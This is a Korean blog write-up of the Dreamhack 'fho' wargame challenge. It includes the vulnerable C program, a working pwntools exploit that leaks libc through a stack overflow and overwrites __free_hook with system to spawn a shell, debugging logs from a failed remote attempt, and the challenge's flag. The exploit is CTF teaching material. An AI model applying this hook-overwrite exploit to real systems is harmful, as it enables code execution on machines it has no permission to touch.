[Dreamhack] fho

Sisyphus·2022년 7월 15일
0

문제 코드

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

Hook Overwrite를 하는 문제인 거 같습니다.


보호 기법

 ⚡ kali  ~/wargame/dreamhack/fho  checksec fho
[*] '/root/wargame/dreamhack/fho/fho'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

모든 보호 기법이 다 적용되어 있습니다.


Hook Overwrite

  1. 스택의 어떤 값을 읽을 수 있다.   ⇾  read(0, buf, 0x100);    printf("Buf: %s\n", buf);

  2. 임의 주소에 임의 값을 쓸 수 있다.  ⇾  scanf("%llu", &addr);    scanf("%llu", &value);

  3. 임의 주소를 해제할 수 있다.  ⇾  scanf("%llu", &addr);    free(addr);

위에 세가지 수단을 이용해서 쉘을 딸 수 있습니다.


먼저 libc base를 leak 하기 위해서 __libc_start_main을 살펴보면

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf20 --> 0x0 
0008| 0x7fffffffdf28 --> 0x7ffff7dfd7fd (<__libc_start_main+205>:       mov    edi,eax)
0016| 0x7fffffffdf30 --> 0x7fffffffe018 --> 0x7fffffffe377 ("/root/wargame/dreamhack/fho/fho")
0024| 0x7fffffffdf38 --> 0x1f7fca000 
0032| 0x7fffffffdf40 --> 0x5555554008ba (<main>:        push   rbp)
0040| 0x7fffffffdf48 --> 0x7fffffffe359 --> 0x5e392d701f7be806 
0048| 0x7fffffffdf50 --> 0x555555400a40 (<__libc_csu_init>:     push   r15)
0056| 0x7fffffffdf58 --> 0xd8e153ceeeb03d43

<__libc_start_main+205> 입니다.


어셈블리어를 봐보면

   0x000000000000092a <+112>:   lea    rax,[rbp-0x40]	// rax = buf
   0x000000000000092e <+116>:   mov    edx,0x100	// edx = 0x100
   0x0000000000000933 <+121>:   mov    rsi,rax		// rsi = buf
   0x0000000000000936 <+124>:   mov    edi,0x0		// edi = 0
   0x000000000000093b <+129>:   call   0x770 <read@plt>	// read(0, buf, 0x100)

buf부터 ret 전까지 0x48 만큼 떨어져 있습니다.


익스플로잇

// local.py

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.log_level = 'debug'

# [1] Leak libc base
buf = b'A'*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 205)

system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)


# [2] Overwrite free_hook with system
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))


# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))

p.interactive()

먼저 local 환경에서 실행되도록 코드를 짜서 돌려보면


 ⚡ root  ~/wargame/dreamhack/fho  python3 local.py 2> /dev/null
[+] Starting local process './fho': pid 4322
[*] '/root/wargame/dreamhack/fho/fho'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc_base: 0x7fcf90d55000
[+] system: 0x7fcf90d9e860
[+] free_hook: 0x7fcf90f26e20
[+] /bin/sh: 0x7fcf90eed882
[*] Switching to interactive mode
$ ls
fho  fho.c  libc-2.27.so  local.py  peda-session-fho.txt  remote.py

공격이 성공해서 쉘이 떴습니다.


이제 원격 환경에서 공격을 시도해보면

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p = remote("host1.dreamhack.games", 16508)
e = ELF("./fho")
libc = ELF("./libc-2.27.so")

#context.log_level = 'debug'

# [1] Leak libc base
buf = b'A'*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
sleep(0.5)
libc_start_main_xx = u64(p.recvline()[:-1]+b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 205)

system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

slog("libc_start_main_xx", libc_start_main_xx)
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)


# [2] Overwrite free_hook with system
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))


# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))

p.interactive()

GOT EOF while reading in interactive 오류가 발생하면서 실패했습니다.


 ⚡ kali  ~/wargame/dreamhack/fho  python3 remote.py 2> /dev/null
[+] Opening connection to host1.dreamhack.games on port 16508: Done
[*] '/root/wargame/dreamhack/fho/fho'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/wargame/dreamhack/fho/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc_start_main_xx: 0x7f993666bbf7
[+] libc_base: 0x7f993664a01a
[+] system: 0x7f993669956a
[+] free_hook: 0x7f9936a37902
[+] /bin/sh: 0x7f99367fde34
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$

디버깅을 해보면

// remote.py

[DEBUG] Received 0x1f bytes:
    b'[1] Stack buffer overflow\n'
    b'Buf: '
[DEBUG] Sent 0x48 bytes:
    65 * 0x48
[DEBUG] Received 0x54 bytes:
    00000000  42 75 66 3a  20 41 41 41  41 41 41 41  41 41 41 41  │Buf:│ AAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  41 41 41 41  41 f7 2b 1c  │AAAA│AAAA│AAAA│A·+·│
    00000050  73 ce 7f 0a                                         │s···│
    00000054
[+] libc_start_main_xx: 0x7fce731c2bf7
[+] libc_base: 0x7fce731a101a
[+] system: 0x7fce731f056a
[+] free_hook: 0x7fce7358e902
[+] /bin/sh: 0x7fce73354e34
[DEBUG] Received 0x25 bytes:
    b'[2] Arbitary-Address-Write\n'
    b'To write: '
[DEBUG] Sent 0x10 bytes:
    b'140524675197186\n'
[DEBUG] Received 0x6 bytes:
    b'With: '
[DEBUG] Sent 0x10 bytes:
    b'140524671403370\n'
[DEBUG] Received 0x23 bytes:
    b'[0x7fce7358e902] = 140524671403370\n'
[DEBUG] Received 0x24 bytes:
    b'[3] Arbitrary-Address-Free\n'
    b'To free: '
[DEBUG] Sent 0x10 bytes:
    b'140524672863796\n'

// local.py

[DEBUG] Received 0x1f bytes:
    b'[1] Stack buffer overflow\n'
    b'Buf: '
[DEBUG] Sent 0x48 bytes:
    65 * 0x48
[DEBUG] Received 0x79 bytes:
    00000000  42 75 66 3a  20 41 41 41  41 41 41 41  41 41 41 41  │Buf:│ AAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  41 41 41 41  41 fd 47 88  │AAAA│AAAA│AAAA│A·G·│
    00000050  a4 d7 7f 0a  5b 32 5d 20  41 72 62 69  74 61 72 79  │····│[2] │Arbi│tary│
    00000060  2d 41 64 64  72 65 73 73  2d 57 72 69  74 65 0a 54-Add│ress│-Wri│te·T│
    00000070  6f 20 77 72  69 74 65 3a  20                        │o wr│ite:│ │
    00000079
[+] libc_base: 0x7fd7a485d000
[+] system: 0x7fd7a48a6860
[+] free_hook: 0x7fd7a4a2ee20
[+] /bin/sh: 0x7fd7a49f5882
[DEBUG] Sent 0x10 bytes:
    b'140564156837408\n'
[DEBUG] Received 0x6 bytes:
    b'With: '
[DEBUG] Sent 0x10 bytes:
    b'140564155230304\n'
[DEBUG] Received 0x47 bytes:
    b'[0x7fd7a4a2ee20] = 140564155230304\n'
    b'[3] Arbitrary-Address-Free\n'
    b'To free: '
[DEBUG] Sent 0x10 bytes:
    b'140564156602498\n'

공격에 성공한 local과 비교했을 때 데이터 입출력에 그렇게 큰 이상이 보이지는 않습니다. 

음 뭐가 문제일까요?


이것저것 바꿔보다  갑자기 라이브러리 버전이 다르다는 것과 예시에서는 libc_base를 구할 때 +205가 아니라 +231을 했다는 게 생각이 났습니다.

그래서 한번 +231로 바꿔서 시도를 해보면

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p = remote("host1.dreamhack.games", 16508)
e = ELF("./fho")
libc = ELF("./libc-2.27.so")

#context.log_level = 'debug'

# [1] Leak libc base
buf = b'A'*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
sleep(0.5)
libc_start_main_xx = u64(p.recvline()[:-1]+b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)

system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

slog("libc_start_main_xx", libc_start_main_xx)
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)


# [2] Overwrite free_hook with system
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))


# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))

p.interactive()

공격에 성공해서 쉘이 떴습니다.

 ⚡ kali  ~/wargame/dreamhack/fho  python3 remote.py 2> /dev/null
[+] Opening connection to host1.dreamhack.games on port 16508: Done
[*] '/root/wargame/dreamhack/fho/fho'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/wargame/dreamhack/fho/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc_start_main_xx: 0x7f29cb28cbf7
[+] libc_base: 0x7f29cb26b000
[+] system: 0x7f29cb2ba550
[+] free_hook: 0x7f29cb6588e8
[+] /bin/sh: 0x7f29cb41ee1a
[*] Switching to interactive mode
$

flag 파일을 출력해보면

$ ls
fho
flag
$ cat flag
DH{584ea800b3d6ff90857aa4300ba42218}

0개의 댓글